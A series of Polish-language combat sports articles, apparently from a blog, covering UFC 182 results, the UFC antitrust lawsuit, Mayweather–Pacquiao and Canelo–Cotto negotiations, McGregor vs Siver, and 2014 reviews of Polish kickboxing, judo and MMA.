Pojedynek Taylor – Mora dla obu bokserów ma ogromne znaczenie. Walkę transmitować będzie telewizja ESPN 2. Porażka dla obu może być fatalna w skutkach. 36-letni Taylor może ponownie popaść w niebyt i zapomnienie. Tak naprawdę długo walczył o swoje nazwisko, żeby liczyć się na rynku. Zdobył pas IBF i to pozwoliło mu na znalezienie miejsca na rynku. Co jeśli przegra? Z pewnością będzie traktowany jako coraz mniej znaczący amerykański bokser. Dla Mory porażka będzie oznaczać pożegnanie się z marzeniami i pogodzenie się ze statusem pięściarza solidnego. 6 lutego pojedynek Taylora i Mory zapowiada się ciekawie. Starcia dwóch odrzuconych, trochę zapomnianych. Tych, którzy są ciut z tyłu, a bardzo chcą być z przodu.
KM
Podczas gali UFC 182 w Las Vegas w walce wieczoru naprzeciw siebie stanęli mistrz wagi półciężkiej Jon Jones i Daniel Cormier. Zacięty pojedynek, który zakończył się werdyktem sędziów. Werdyktem pozytywnym dla mistrza.
Do starcia Jonesa i Cormiera miało dojść już na UFC 178, jednak z powodu kontuzji kolana mistrza do walki nie doszło. Początkowo posiadacz pasa miał rywalizować z Alexandrem Gustafssonem, jednak Szwed nabawił się urazu. Z okazji skorzystał Cormier. Dla publiczności zapowiadało się ciekawe wydarzenie. Rywalizacja dwóch fighterów, którzy nie znali słowa porażka. Cormier nie przegrał dotąd żadnego pojedynku, Jones zaledwie jeden (został zdyskwalifikowany).
Walka na dystansie pięciu rund przysporzyła publiczności wiele emocji, a z zawodników wycisnęła wszystkie możliwe krople potu. Jones miał dość istotną przewagę nad swoim rywalem – zasięgu, co doskonale wykorzystał. Jones używał łokci i ciosów stopujących na kolano wyraźnie osłabiając Cormiera, jednak ten nie ustawał w swoich staraniach i dążył do „ukłucia” przeciwnika. Ta sztuka powiodła się. Cormier kilkukrotnie trafił Jonesa podbródkowymi. W drugiej rundzie dominował już pretendent. Warto odnotować, że ta odsłona pełna była elementów zapaśniczych z dużą porcją ciosów i łokci. Druga runda dla Cormiera, z czasem do głosu doszedł Jones. Mistrz zachował więcej sił od swojego przeciwnika. W czwartej rundzie wyraźnie zdusił go po siatką. Jones dwukrotnie obalił Cormiera. W ostatnich pięciu minutach żaden z fighterów nie oszczędzał się. Było gorąco! Po raz kolejny element zapaśniczy pojawił się w tym pojedynku, jednak nie doprowadził do rozstrzygnięcia.
Na dystansie pięciu rund Jon Jones był lepszy od swojego rywala. Cormier jedynie w drugiej odsłonie narzucił warunki i należy mu oddać, że zdominował przeciwnika. Jednakże w ostatecznym rozrachunku lepszy był Jones, który mądrze dysponował siłami, co pozwoliło mu „wykończyć” zmęczonego i bezsilnego momentami rywala. Po pięciu rundach sędziowie jednogłośnie przyznali zwycięstwo Jonesowi. Arbitrzy punktowali jednomyślnie – 49-46. Tym samym Cormier musiał pogodzić się z pierwszą porażką w karierze.
Publiczność zgromadzona w Las Vegas nie zobaczyła efektownych nokautów w karcie głównej. Wszystkie pojedynki kończyły się decyzją sędziów. Warto odnotować, że Donald Cerrone w kategorii lekkiej wygrał z niepokonanym dotąd Mylesem Jurym. W pojedynku wagi muszej Kyoji Horiguchi nie pozostawił sędziom złudzeń, wyraźnie dominując nad Louisem Gaudinotem. W karcie wstępnej trzy walki zakończyły się decyzjami sędziów, dwa pojedynki rozstrzygnęły się przez KO. Przez TKO wygrał Cody Garbrandt , który prawym sierpowym powalił Marcusa Brimage'a.
Za walkę wieczoru wyróżnienie otrzymali Jon Jones oraz Daniel Cormier. Wzbogacili się również Paul Felder i Shawn Jordan, którzy znokautowali swoich rywali. Fighterzy zostali nagrodzeni za „występ wieczoru”. Na konta wyróżnionych wpłynęło po 50 tysięcy dolarów.
Wyniki UFC 182:
Pojedynek o pas mistrza UFC w wadze półciężkiej: 205 lbs: Jon Jones – Daniel Cormier jednogłośna decyzja sędziów
Karta główna
155 lbs: Donald Cerrone – Myles Jury jednogłośna decyzja sędziów
185 lbs: Brad Tavares – Nate Marquardt jednogłośna decyzja sędziów
125 lbs: Kyoji Horiguchi – Louis Gaudinot jednogłośna decyzja sędziów
170 lbs: Hector Lombard – Josh Burkman jednogłośna decyzja sędziów
Karta wstępna
155 lbs: Paul Felder – Danny Castillo KO w 2.rundzie
135 lbs: Cody Garbrandt – Marcus Brimage TKO w 3.rundzie
265 lbs: Shawn Jordan – Jared Cannonier KO w 1.rundzie
155 lbs: Evan Dunham – Rodrigo Damma jednogłośna decyzja sędziów
170 lbs: Omari Akhmedov -. Mats Nilsson jednogłośna decyzja sędziów
135 lbs: Marion Reneau – Alexis Dufresne jednogłośna decyzja sędziów
KM
UFC to potężna organizacja, które generuje ogromne zyski. W mieszanych sztukach walki obecne są wielkie pieniądze, gale przykuwają zainteresowanie sponsorów, a dla publiczności impreza to ogrom atrakcji. UFC ma na rynku stabilną i ugruntowaną pozycję.
Na światło dzienne wyszły nieznane dotąd fakty. Pozycja UFC może ulec zmianie. Czy tak się stanie? Otóż, do sądu w Kalifornii trafił pozew zbiorowy względem właściciela UFC. Autorami pozwu są byłe i obecne gwiazdy UFC, które zarzucają włodarzowi nieuczciwe praktyki. Okazuje się, że właściciel UFC zaniża płace zawodnikom, stosuje praktyki monopolistyczne oraz niszczy konkurencję. Takie są oskarżenia zawodników mieszanych sztuk walki. Czy znajdą one potwierdzenie? Jakie stanowisko zajmie sąd?
Wedle oskarżycieli właściciel UFC przede wszystkim prowadzi praktyki monopolistyczne w celu niszczenia konkurencji oraz ograniczenia zarobków zawodników. Zawodnicy podkreślają, że organizacja zabrania im współpracy z innymi promotorami MMA, czerpie zyski z zawodniczych umów i ogranicza fighterom możliwość zarabiania. Dodatkowo całą sytuację podgrzewa umowa z Reebokiem. Od czerwca 2015 roku wszyscy zawodnicy będą zobowiązani występować w strojach tej firmy, ale wiąże się to z dodatkowymi obostrzeniami. Kontrakt wart jest 70 milionów dolarów, środki mają być rozwiązane między fighterów, ale… Właśnie jest pewne ale. Zawodnicy nie mogą eksponować podczas gal logotypów swoich sponsorów indywidualnych.
Dodatkowo, zarobki zawodników spadają. W porównaniu z poprzednim rokiem dochód spadł przeciętnie o 15 tysięcy dolarów. De facto do kieszeni zawodników trafiają kwoty zdecydowanie niższe niż te, które fighterzy mogliby otrzymać funkcjonując na wolnorynkowych zasadach. Pełnomocnicy zawodników, którzy złożyli pozew podkreślają, że ich klienci zarabiają zdecydowanie mniej niż powinni. Ryzyko występów w MMA jest ogromne. Zawodnicy powinni współmiernie partycypować w zyskach organizacji, jednakże właściciel UFC jest innego zdania.
Pewne jest, że sprawa tak szybko nie znajdzie rozwiązania. Pozywający podkreślają, iż są przygotowani na długą batalię sądową. Podobne sprawy mogą trwać nawet pięć lat i być bardzo kosztowne. Obie strony wysuwają przeciw sobie najcięższe działa. Zawodników reprezentować będzie m.in. Cohen Milstein Law Firm, która wynegocjowała 450 milionów dolarów za ugodę w głośnym procesie przeciw Apple. Po stronie UFC pracować będą firmy Boies, Schiller i Flexner LPP.
Zapowiada się długa batalia, jednakże doniesienia na temat praktyk stosowanych przez UFC mogą mieć silny wpływ na odbiór organizacji przez społeczeństwo. Czy tak będzie? Być może UFC zastosuje określone zabiegi marketingowe, aby nie stracić ogromnych pieniędzy. Tak naprawdę, do czasu wyroków sądu sprawa jest otwarta. Zawodnicy walczą o siebie, pieniądze i prawo do godności. UFC zdobyła na rynku wiodącą pozycję w dużej mierze dzięki klasowym zawodnikom. Wydaje się naturalne, że wdzięczność jest czymś normalnym. Bo z niewolnika nie ma pracownika. Zawodnicy walczą o swoje. Problem w tym, że UFC też. W tym sporze to organizacja może stracić więcej. Prawdziwa wojna na szczycie.
KM
Jesteśmy świadkami realizacji scenariusza widowiska pt. „Walka Floyd Mayweather Jr vs Manny Pacquiao”. Owa telenowela przyciąga setki, o ile nie miliony fanów. Ile odcinków jeszcze przed nami? Tego nie wiemy. Telenowele mają to do siebie, że długo trwają, wyciskają łzy, pojawiają się nowe wątki i wszystko otoczone jest aurą tajemnicy. A że nudno być nie może i każdy o swój interes dba… Jedna telenowela to za mało. Na bokserskim rynku otwiera się rozdział pt. „Saul Canelo Alvarez vs Miguel Cotto”.
Wszystko po to, żeby nudą nie wiało. Od dłuższego czasu pojawiają się informacje na temat ewentualnego starcia Mayweathera z Pacquiao, powoli rozpoczynają się oficjalne negocjacje w tej kwestii. Cała sprawa trwa i trwa, ale z pewnością gra jest warta świeczki. O swoje zaczyna walczyć również Saul Alvarez. Canelo chce wielkiej walki i wielkich zaszczytów. Meksykanin za wszelką cenę chce rywalizować z Miguelem Cotto. Kwestią podstawową jest to, czy sam Portorykańczyk myśli poważnie o tym pojedynku. Canelo w mediach rozwodzi się na temat daty starcia, opowiada o rywalizacji z Cotto, jednak jego ewentualny rywal nie zabiera głosu w tej kwestii.
Z pewnością starcie Alvarez – Cotto byłoby niezwykle ciekawe i stałoby się jednym z najważniejszych bokserskich wydarzeń. Negocjacje między przedstawicielami stron trwają. Decydujące rozmowy mają odbyć się w przyszłym tygodniu. Informację tę potwierdza doradca mistrza świata federacji WBC wagi średniej Miguela Cotto, Gaby Penagaricano: – Chcemy w przyszłym tygodniu ustalić, czy idziemy w tę, czy w inną stronę.
Cierpliwości powoli brakuje już Alvarezowi, który za wszelką cenę chce walczyć 2 maja i usilnie naciska na Cotto. Canelo wystosował list otwarty, w którym zwrócił się do mistrza świata WBC. – Nie rozumiem co się obecnie dzieje. Zgodziłem się na ogromną ilość warunków, które postawił mi Miguel Cotto i miało to miejsce ponad miesiąc temu. Od tamtego czasu on nie podpisał kontraktu. Jestem młodym bokserem i może nie pamiętam zbyt wielu pojedynków z przeszłości, ale wiem, że żaden Portorykańczyk nie uciekał wcześniej przez Meksykaninem, ani żaden Meksykanin nie uciekał przed Portorykańczykiem – napisał Alvarez. Jak widać Canelo stosuje różnorakie formy nacisku na Cotto. Czy okażą się one skuteczne?
Cotto być może w ten sposób po prostu podbija stawkę. Jest mistrzem świata WBC, utytułowanym bokserem, doświadczonym i przyciąga tłumy, więc z pewnością liczy na określony zysk. Z drugiej strony, fakt, iż Portorykańczyk „z niejednego pieca chleb jadł” daje mu przewagę nad Canelo. Alvarez już na początku zdradza swoją niedojrzałość i przy każdej okazji szuka możliwości odwołania się do Cotto. Do Cotto, który milczy. Czy Portorykańczyk działa w myśl zasady: ciszej siedzisz, dalej zajedziesz?
Z pewnością rywalizacja Alvareza z Cotto byłaby jednym z najważniejszych bokserskich wydarzeń 2015 roku. Młodość kontra doświadczenie. Jaką decyzję podejmie Cotto? Kiedy zakończy się gra? A kiedy zobaczymy odcinek finałowy?
KM
Conor McGregor staje przed ogromną szansą na spełnienie swoich najskrytszych marzeń. Od wielkiego sukcesu dzieli go tylko krok. Sęk w tym, że McGregor musi pokonać tą przeszkodę. Przeszkodę, pod którą kryje się Dennis Siver.
McGregor długo wyczekiwał tej chwili. W końcu od walki o mistrzowski pas UFC w wadze piórkowej dzieli go tylko krok – musi pokonać Sivera. Do starcia fighterów dojdzie 18 stycznia – informację potwierdził prezes UFC Dan White. Warto dodać, że McGregor pod egidą organizacji walczy od kwietnia 2013 roku i po niespełna dwóch latach staje przed ogromną szansą. Jeśli pokona Sivera będzie walczył o mistrzowski pas.
McGregor dla UFC stoczył cztery pojedynki. W debiucie, w kwietniu 2013 roku, rozprawił się z Marcusem Brimage’m. Kolejną walkę stoczył sierpniu tegoż samego roku, a jego rywalem był Max Holloway. Po zaciętych trzech rundach sędziowie orzekli zwycięstwo McGregora. Potem rozprawił się z Diego Brandao, a na UFC 178 przyszło mu rywalizować z Dustinem Poirierem. McGregor już w pierwszej rundzie zastopował swojego rywala. Irlandczyk udowodnił, że ma umiejętności predysponujące go do walki o najwyższe cele. Warto dodać, że McGregor w swojej karierze rywalizował z polskim fighterem – Arturem Sowińskim. W 2011 roku Irlandczyk okazał się lepszy od naszego rodaka. Ponadto, McGregor w swojej karierze ma odnotowane tylko dwie porażki. Fighter jest niepokonany od 2011 roku!
18 stycznia stanie na wprost doświadczonego Dennisa Sivera. 35 – latek swój pierwszy pojedynek dla UFC stoczył w 2007 roku. Nie ma więc, co porównywać dokonań obu panów w tej materii. W swoim ostatnim pojedynku Siver pokonał Charlesa Rosa. Walka miała miejsce podczas UFC Fight Night: Nelson vs Story i trwała trzy rundy. O zwycięstwie Sivera zdecydowali sędziowie.
Doświadczony i sędziwy Siver będzie starał się stawić czoła McGregorowi. Ale czy realnie patrząc – ma szansę? Wszystko wskazuje na McGregora, który jest zdeterminowany i idzie jak burza po pas mistrzowski UFC wagi piórkowej. Z tym, że walka z Siverem może go przybliżyć do upragnionego celu. Pas nadal pozostaje w sferze marzeń McGregora. W przypadku wygranej Irlandczyk stanie przed szansą wywalczenie mistrzostwa.
Ewentualna walka o pas odbędzie się we wspaniałych warunkach. 90 –tysięczna publiczność, bo tyle może pomieścić Croke Park w Dublinie, gorący doping i wielki pojedynek. McGregor musi pokonać Sivera, aby w takich warunkach zmierzyć się z Jose Aldo. Wiadomo, że mistrz łatwo nie odpuści, ale czy będzie w stanie powstrzymać rozpędzonego Irlandczyka? Czy McGregor spełni swoje marzenia i zrealizuje plan zdobycia mistrzowskiego pasa? Ma ogromną szansę, aby być mistrzem. Zostały mu dwa kroki: Siver, a potem Aldo. Pierwszy może uda mu się zrobić, ale czy drugi?
KM
Polak swój pojedynek stoczy 10 stycznia na gali Polaris Professional Jiu Jitsu Invitational. Rywalem Marcina Helda będzie Garry Tonon.
Do rywalizacji obu panów dojdzie dzięki usunięciu z rozpiski gali walki Victor Estima vs.JT Torres. Rywal Polaka, Gary Tonon, to 22-letni Amerykanin, który szerszej publiczności zaprezentował się podczas turniejów Metamoris. Stoczył tam dwa pojedynki, które zakończyły się jego zwycięstwami. Tonon pokonał Kita Gale’a oraz Zaka Maxwella.
Walka Helda i Tonona odbędzie się w formule NO GI i trwać będzie piętnaście minut. W trakcie pojedynku nie będą przyznawane punkty. Zwycięzcą walki zostanie ten, który podda przeciwnika bądź rywal będzie niezdolny do dalszej rywalizacji. Jeśli w ciągu piętnastu minut nie zostanie wyłoniony zwycięzca to pojedynek zakończy się remisem.
Polski zawodnik wagi lekkiej staje przed kolejnym wyzwaniem. Marcin Held niejednokrotnie udowodnił już, że osiąga coraz wyższy poziom w mieszanych sztukach walki. Czy w rywalizacji z Tononem potwierdzi swoją wysoką formę?
Marcin Held jest pierwszym Polakiem, który wygrał turniej organizacji Bellator. To ogromny sukces zawodnika z Tychów, przed którym otworzyły się drzwi do wielkiej kariery. Data 26 września 2014 roku na długo utkwi w pamięci Helda, który w tym właśnie dniu święcił swój największy sukces w dotychczasowej karierze. Polak na punkty pokonał Patricky'a "Pitbulla" Freire'a. Sędziowie nie mieli wątpliwości i punktowali jednomyślnie – 29:28, 30:26 i 30:27, a wyniki dobrze ilustrują przewagę Helda w rywalizacji z Brazylijczykiem. Zwycięstwo dało polskiemu „lekkiemu” możliwość walki o pas, a także wzbogaciło jego konto o sto tysięcy dolarów. Held łatwo nie odpuszcza. W Polsce został mistrzem MMA Challengers i w postanowił spróbować swoich sił zagranicą. Jego umiejętności doceniła organizacja Bellator, z którą w 2011 roku podpisał kontrakt. W tym samym roku wystartował w turnieju Bellatora, ale odpadł w ćwierćfinale. Dwa lata później dotarł do finału. Held przegrał rywalizację z Dave’m Jansenem. W 2014 roku nikt nie był w stanie dorównać Polakowi.
Held jako dwudziestokilkulatek bardzo dobrze radzi sobie na poziomie międzynarodowym w rywalizacji z najlepszymi fighterami. W Polsce udowodnił swoją wartość i postanowił dalej rozwijać się w Ameryce. Teraz przed nim wyzwanie pod tytułem Gary Tonon na gali Polaris Professional Jiu Jitsu Invitational. Jednak to tylko przystanek na drodze do celu. Held pokazuje, że Polak potrafi. Młody, utalentowany, ambitny, zogniskowany na cel i wygrywanie. Prawdziwy fighter, który rozwija się oraz wykorzystuje pełnię swoich możliwości. Cieszą informacje o dobrych wynikach Marcina Helda. Zawodnik, który odnosi sukcesy w Bellatorze nie jest byle kim. Warto, aby go dostrzec i docenić jego ciężką pracę. Poza tym, że świetnie walczy i wygrywa robi genialną reklamę naszym fighterom, którym często brak odwagi i determinacji, żeby podjąć wyzwanie. Held je podjął. Walka z Tononem musi zakończyć się zwycięstwem. Później przyjdzie czas na ucztę. Czy Marcin Held w pełni wykorzysta swój talent?
KM
Nowy Rok niesie ze sobą nowe wyzwania. Na bokserskim podwórku wszyscy interesują się kwestią rywalizacji Floyda Mayweathera Jr z Manny’m Pacquiao. Czy w 2015 roku dojdzie do tego pojedynku? Na jakich warunkach?
Należy podkreślić, że negocjacje na temat pojedynku już trwają. Nie jest to już tylko i wyłącznie medialna gra, ale rozmowy między stronami. Problemem są różnice w podejściu obu teamów do kwestii organizacji walki. Negocjacje nie należą do najłatwiejszych z wielu względów. Po pierwsze, warto odnotować, że pięściarzy łączą umowy z różnymi stacjami. Po drugie, kwestią sporną pozostaje procentowy podział zysków. Mayweather nie chce zgodzić się na 60 – 40, Money chciałby mniej korzystnego finansowo dla Pacquiao podziału. Filipińczyk uważa, że „60-40” jest jak najbardziej sprawiedliwy. Po trzecie, do ustalenia pozostaje kwestia warunków, które muszą spełnić strony.
Cały bokserski świat pragnie zobaczyć w ringu Maywethera i Pacquiao. Fakt, że negocjacje między stronami rozpoczęły się jest dobrym znakiem. W naciskach na Moneya nie ustaje Pacman. Filipińczyk nadal w mediach podkreśla chęć rywalizacji z Amerykaninem, choć ten ostatnio też potwierdził możliwość walki z Pacquiao. Czy na chęciach się skończy? Gotowość obu pięściarzy do rywalizacji to połowa sukcesu, reszta to negocjacje dotyczące samej walki. W tym przypadku nie należą one do najłatwiejszych. Na tym poziomie w grę wchodzą ogromne pieniądze, sponsorzy, kontrakty medialne.
Rywalizacji Mayweathera z Pacquiao nie może doczekać się sam Lennox Lewis. Legenda wagi ciężkiej uważa, że w 2015 roku Money i Pacman muszą spotkać się w ringu. Lewis porównuje zamieszanie wokół tego pojedynku, która miała miejsce w 2002 roku, kiedy to miał walczyć w Mike’m Tysonem. Rywalizujących w wadze ciężkiej bokserów łączyły kontrakty z różnymi stacjami telewizyjnymi, tak jak obecnie Mayweathera i Pacquiao. – Skończcie z tym szaleństwem i w końcu doprowadźcie do tej walki! Skoro można było doprowadzić do walki Lewis-Tysona przy współpracy telewizji HBO i Showtime, to można równie dobrze doprowadzić do drugiej historycznej walki, w której rywalami będą Mayweather i Pacquiao – powiedział Lennox Lewis.
Rywalizacja Moneya i Pacmana jest najbardziej oczekiwanym wydarzeniem bokserskim 2015 roku. Jeszcze nie raz będzie obecna w mediach. Pacquiao będzie naciskał na Mayweathera i czekał aż ten wykona kolejny ruch. Tylko czy teraz cokolwiek zależy od Maywethera? Obecnie sztaby obu bokserów muszą ustalić stanowisko, co do którego pięściarze wyrażą swoje opinie. Wydaje się, że skala przedsięwzięcia spowoduje, że telewizja i sponsorzy osiągną porozumienie. Kwestią podstawową jest, czy bokserów, a zwłaszcza Mayweathera usatysfakcjonują przewidywane zyski.
Mistrz świata federacji WBO wagi półśredniej Manny Pacquiao i mistrz federacji WBC/WBA Floydzie Mayweatherze Jr w ringu. Kiedy? Terminu nie ma, ale negocjacje trwają. Muszą zakończyć się powodzeniem. Walka o wielką stawkę, o wielkie pieniądze, o zaszczyty, o prymat w boksie i o miejsce w historii.
KM
W mijającym roku potwierdziło się, że Polska kickboxingiem stoi. Wiele sukcesów na arenach międzynarodowych, ogromna ilość medali i poziom, który powoduje, że nasi fighterzy są czołowymi zawodnikami Europy i świata. Polska jest potęgą w kickboxingu. Kickboxingu, który coraz śmielej zagląda pod strzechy.
Worek medali zdobyli Polacy podczas mistrzostw Europy WAKO w Bilbao. Aż piętnaście krążków wywalczyli nasi reprezentanci w Hiszpanii. Podczas mistrzostw swoją pozycję potwierdziły dwie mistrzynie – Paulina Bieć i Joanna Walkiewicz. Ponadto, zdobyliśmy pięć srebrnych i osiem brązowych krążków. Warto dodać, że osiągnięcie Pauliny Bieć to nie lada wyczyn. Nasza zawodniczka obroniła tytuł mistrzyni Europy w K-1 +70 kg. Joanna Walkiewicz została najlepszą zawodniczką low-kick 48 kg. Pełnym sukcesem dla naszej reprezentacji zakończyły się mistrzostwa Europy WAKO w Mariborze. Biało – czerwoni wywalczyli czternaście medali, w tym trzy złote. Medale z najcenniejszego kruszcu zawisły na szyjach Anny Knobel w light contact 50 kg, Pauliny Jarzmik pointfighting 65 kg oraz Kacpra Narlocha w kick-light 57 kg. Warto podkreślić również zdobycz medalową naszych reprezentantów. Leszek Jobs w light-contact 94 kg oraz Wojciech Wiśniewski w light-contact 84 kg sięgnęli po brązowe krążki. Mistrz świata Kamil Ruta sięgnął po srebrny medal w kick – light.
We wrześniu we włoskim Rimini odbyły się Mistrzostwa Świata Kadetów i Juniorów WAKO. Nasi reprezentanci nie zawiedli i pokazali siłę oraz potencjał polskiego kickboxingu. Biało – czerwoni wywalczyli aż pięćdziesiąt siedem medali. Najlepszymi z najlepszych okazali się Aleksander Stawirej w full contact 91 kg, Jakub Jaskuła (+81 kg), Ewa Pietrzykowska (56 kg) i Kacper Frątczak (81 kg) w K-1, Michał Adamek (+ 69 kg), Jolanta Cichoń (65 kg), Patryk Muller (79 kg), Robert Wroński (84 kg) i Jakub Dąbrowski (+94 kg) w kick-light, Jakub Filipek (67 kg) oraz Dominika Gleisner (60 kg) w low- kick.
Ogromny sukces w minionym roku odniosła Iwona Nieroda, która zdobyła pas mistrzyni świata WAKO PRO Low Kick w kategorii do 56 kg. Podczas mistrzostw globu w Turcji Polka okazała się najlepsza. Jednakże nie był to pierwszy sukces w karierze Nierody, gdyż już rok wcześniej wywalczyła ona mistrzostwo świata. W Turcji potwierdziła swoją dominację i obroniła tytuł.
W Zgorzelcu wielki sukces osiągnął Wojciech Wierzbicki. Nasz zawodnik sięgnął po zawodowe mistrzostwo Europy WAKO-PRO Low-Kick kat-75 kg. Ogromny sukces Wierzbickiego, który nie był faworytem starcia z Włochem Andreą Andrenaccim.
Na polskim rynku pojawił się powiew świeżości. Grupa DSF zorganizowała dwie gale kickboxingu. Prawdziwe show, wypełnione pojedynkami najlepszych fighterów, organizacja na bardzo wysokim poziomie. Gwiazdami gal grupy DSF byli tacy zawodnicy jak Dorota Godzina, Kamil Ruta czy Łukasz Wichowski. Grupa DSF zapowiada kolejne gale. Czy dzięki temu kickboxing zajrzy pod strzechy?
Rok 2014 dla polskiego kickboxingu był pełen medali. Jesteśmy mocną ekipą, która z każdej imprezy przywozi medale. Nasi fighterzy zaliczani są do światowej czołówki. Polski kickboxing ma ogromny potencjał. Czy potwierdzi się to w 2015 roku?
KM
Poczynania naszych zawodników w judo w mijającym roku są dobrym prognostykiem. Coraz głośniej mówi się o szansach medalowych naszych reprezentantów na Igrzyskach Olimpijskich w Rio de Janeiro. Rok 2014 obfitował w liczne sukcesy Polaków. Bardzo dobre występy na międzynarodowych turniejach i upragniony medal na mistrzostwach świata.
Jedenaście lat musieliśmy czekać na medal mistrzostw świata w judo. W Czelabińsku Katarzyna Kłys (-70 kg) wywalczyła brązowy medal. Ogromny sukces naszej zawodniczki, która ma za sobą bardzo udany rok. Kłys zdobywała medal na zawodach Grand Prix i Grand Slam. Warto dodać, że w minionym roku ogromny sukces odniosła reprezentacja Polski kobiet. Podczas mistrzostw świata w Czelabińsku nasza drużyna zajęła 5.miejsce. W półfinale Polki uległy Mongolii, a w rywalizacji o brązowy medal przegrały z Niemkami. W Czelabińsku nasza reprezentacja wystąpiła w składzie: -52kg Karolina Pieńkowska, -57kg Arleta Podolak, -63kg Agata Ozdoba, -70kg Katarzyna Kłys, +70kg Daria Pogorzelec i Katarzyna Furmanek. Medale zdobyliśmy również we Francji. Mistrzostwa Europy w Montepellier szczególnie udane były dla Agaty Ozdoby. Nasza judoczka we Francji sięgnęła po brązowy medal indywidualnie i drużynowo.
Polska była organizatorem Młodzieżowych Mistrzostw Europy U-23 w judo. Impreza odbyła się we Wrocławiu. Organizacja zawodów stała na wysokim poziomie i szkoda tylko, że wynik sportowy nie zachwycił. Polska wywalczyła jeden medal, choć nadzieje były większe. Po srebrny medal sięgnął Łukasz Kiełbasiński. Kolejna mistrzowska impreza i kolejne sukcesy. Mistrzostwa Europy Juniorek w Bukareszcie przyniosły nam radość – dwa medale. Jeden z najcenniejszego kruszcu przypadł Annie Borowskiej (-57 kg). Srebro wywalczyła Beata Pacut (-78 kg).
Bardzo dobry rok za Darią Pogorzelec, która wróciła do rywalizacji po urodzeniu dziecka. Nasza zawodniczka dwukrotnie wygrała turnieje międzynarodowe. Pogorzelec okazała się najlepsza podczas Pucharu Świata w Tallinie oraz Grand Prix w Taszkiencie. Również Aleksander Beta triumfował podczas Pucharu Świata w Tallinie. Dobry sezon ma za sobą również Maciej Sarnacki, który znacząco awansował w światowym rankingu. Polski judoka (+100 kg) zdobywał brązowe medale podczas Grand Slamów w Rosji i Zjednoczonych Emiratach Arabskich oraz Grand Prix w Korei Południowej.
Rok 2014 pokazał, że judo zdecydowanie lepiej wygląda w wydaniu kobiecym niż na polu męskim. Katarzyna Kłys z medalem mistrzostw świata, bardzo dobry sezon Darii Pogorzelec i Agaty Ozdoby. Drużyna kobiet zaprezentowała wysoki poziom umiejętności podczas mistrzostw Europy oraz mistrzostw świata. Wśród panów z dobrej strony pokazali się Maciej Sarnacki, Aleksander Beta, Kamil Grabowski oraz Łukasz Kiełbasiński. Należy pamiętać o Arlecie Podolak, której nie udało się zdobyć medalu na mistrzostwach we Wrocławiu, ale ma ogromny talent i istotne, aby ustawicznie rozwijała się i osiągała sukcesy.
Wyniki naszych judoków w 2014 roku pozwalają nam realnie myśleć o medalu na Igrzyskach Olimpijskich w Rio. To jest główny cel. Obecnie sportowo judo wygląda dobrze, gorzej z władzami, gdzie dochodzi do konfliktów i tarć. Obecnie w Polskim Związku Judo jest kurator. Głównym celem na 2015 rok jest usunięcie tych problemów, uspokojenie sytuacji i powrót na prostą. Bo sportowo judo wraca na właściwe tory. Oby 2015 rok potwierdził dobry stan tej dyscypliny sportu i dał podwaliny pod sukces w Rio.
KM
Kończący się rok jest okazją do podsumowań. W polskim MMA byliśmy świadkami wielu interesujących walk, mieszane sztuki walki rozwijają się i zyskują na popularności w naszym kraju. Niezachwianą pozycję na polskim rynku ma nadal federacja KSW.
KSW czyni kolejne kroki na drodze rozwoju MMA w Polsce i pełnej profesjonalizacji organizowanych imprez. W 2014 roku walki podczas gal zaczęły odbywać się w klatkach, zrezygnowano z pojedynków w ringu. KSW upodabnia się do UFC i udostępnia zawodnikom pole do prezentowania widowiskowych akcji.
Rok 2014 przyniósł nowinę o starciu Tomasza Drwala z Mamedem Khalidovem. Tylko przyniósł, bo do starcia ostatecznie nie doszło. Obaj panowie mają spotkać się w klatce w 2015 roku. Z pewnością będzie to szczególne wydarzenie dla KSW i publiczności, gdyż dojdzie do starcia dwóch najbardziej cenionych w Polsce fighterów. Ciśnienie stopniowo wzrastało, wszyscy z niecierpliwością wyczekiwali walki, jednak kontuzja Drwala uniemożliwiła spotkanie z Khalidovem. Po entuzjastycznej informacji o pojedynku tych dwóch fighterów przyszło ostudzić nastroje. Teraz pozostaje oczekiwać.
Co do Khalidova, po raz pierwszy od dawien dawna Czeczen z polskim obywatelstwem zmuszony był rywalizować na pełnym dystansie. Wymagającym rywalem dla Mameda okazał się Brett Cooper. Khalidov walczył z kontuzją, co było dodatkowym utrudnieniem. Ponadto, Cooper wysoko postawił poprzeczkę. Mimo to Khalidov wygrał i nadal pozostaje czołowym polskim fighterem. Warto zwrócić uwagę na największy postęp 2014 roku. Borys Mańkowski zrobił ogromny krok naprzód i w tej chwili jest jedną z jaśniejszych postaci w hierarchii mieszanych sztuk walki w Polsce.
Ostatnią walkę w swojej karierze stoczył Paweł Nastula, który podczas KSW 29 w Krakowie rywalizował z Mariuszem Pudzianowskim. Mistrz olimpijski w Atlancie przegrał po dogrywce z Pudzianem i powiedział: „dość”. Nastula zaprezentował się światu jako wybitny judoka i jeden z pierwszych polskich zawodników walczących w MMA.
Dla polskiego MMA rok 2014 był również istotny pod względem zagranicznych poczynań. Należy zwrócić uwagę na dwa nazwiska: Joanna Jędrzejczyk oraz Jan Błachowicz. Jędrzejczyk zadebiutowała w UFC, gdzie stoczyła dwie walki. Obie wygrała. Druga walka w UFC z Claudią Gadelhą bardzo przybliżyła Polkę do pojedynku o pas mistrzowski. Z kolei Błachowicz w swoim debiucie pokonał doświadczonego Ilira Latifiego. Polak nie był faworytem pojedynku, a jednak wygrał i zrobił wrażenie na ekspertach. Z pewnością przyszłość Błachowicza w UFC rysuje się ciekawie.
Wielkie chwile w 2014 roku przeżywał Marcin Held. Młody fighter wygrał turniej Bellatora w kategorii wagi lekkiej. Held systematycznie się rozwija i osiąga sukcesy na arenie światowej. Pierwszą walkę z MMA wygrał Marcin Najman, który pokonał Słowaka Michala Dobiasa przez duszenie.
Co przyniesie 2015 rok? Po raz pierwszy gala KSW odbędzie się poza Polską. 31 października najlepsi fighterzy będą gościć na Wembley Arenie. W 2015 roku z pewnością w klatce zobaczymy wreszcie Tomasza Drwala i Mameda Kahlidova. Liczymy na udane występy poza granicami kraju Joanny Jędrzejczyk, Jana Błachowicza, Marcina Helda i triumfy innych naszych rodaków.
KM
Polska nie ma już mistrza świata z boksie. Krzysztof „Diablo” Włodarczyk stracił pas WBC w kategorii junior ciężkiej. Na świecie najgłośniej było o Floydzie Mayweatherze Jr. Co działo się w 2014 roku?
